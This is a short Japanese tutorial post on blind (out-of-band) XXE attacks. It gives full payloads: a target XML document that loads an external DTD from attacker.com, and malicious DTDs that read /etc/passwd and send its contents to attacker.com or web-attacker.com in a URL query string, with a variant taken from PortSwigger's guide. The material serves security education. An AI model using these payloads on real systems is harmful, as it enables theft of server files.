Hello there, ('ω')ノ
アウトオブバンド形式の攻撃については、Blindという名前が示す通り、
XXE攻撃が返り値を返さない可能性があることを意味して。
しかし、それはまだ脆弱性として存在していることに注意してほしくて。
したがって、わずかに難度が上がる方法で攻撃を行うことができ。
Blind XXE攻撃は、機密データをフィルタリングする一種の攻撃方法で。
ただし、ハッカーは制御下にあるシステム上で悪意のあるDTDを
ホスティングする必要があって。
以下に攻撃手順を。
<?xml version="1.0" ?>
<!DOCTYPE request [
<!ENTITY % sp SYSTEM "http://attacker.com/ev.xml"> ・・・①
%sp;
%param1;
]>
<request>&exfil;</request> ・・・③
攻撃者が制御する悪意のあるDTDであるev.xml内部には、
以下のように/etc/passwdをフィルタリングする詳細が含まれていて。
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
・・・②
①
攻撃が実行されると、ev.xmlはロードされ、%sp;変数内のspが呼び出され。
②
これにより、param1内部の値がターゲットに露出し。
この値はev.xml経由で%param1を通じてロードされ、
param1にはENTITY exfilが含まれていて。
③
そして、&exfil;セクションでホスティングされている攻撃者の
ホスティング先に接続し、URLクエリ文字列内の%dataの値とともに送信されて。
または、PortSwiggerのガイドに従って書くこともでき。
ev.xmlの部分は次のようになって。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
そして、ターゲットの部分は次のようになり。
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd">
%xxe;
]>
PortSwiggerのガイドに従う場合、少し異なる部分があり。
具体的には、evalは別のXMLであるexfiltrateを動的宣言として結合し、
ENTITYを使用してHTTPリクエストを攻撃者のウェブサイトに作成して。
この攻撃者のウェブサイトには、URLクエリ文字列内のfileの値が含まれていて。
つまり、値を取得して返し。
値は%fileにあり、?x=のパラメータ値をして渡されて。
そのため、ENTITY fileが自身で/etc/passwdのデータを盗み、攻撃者に返して。
Best regards, (^^ゞ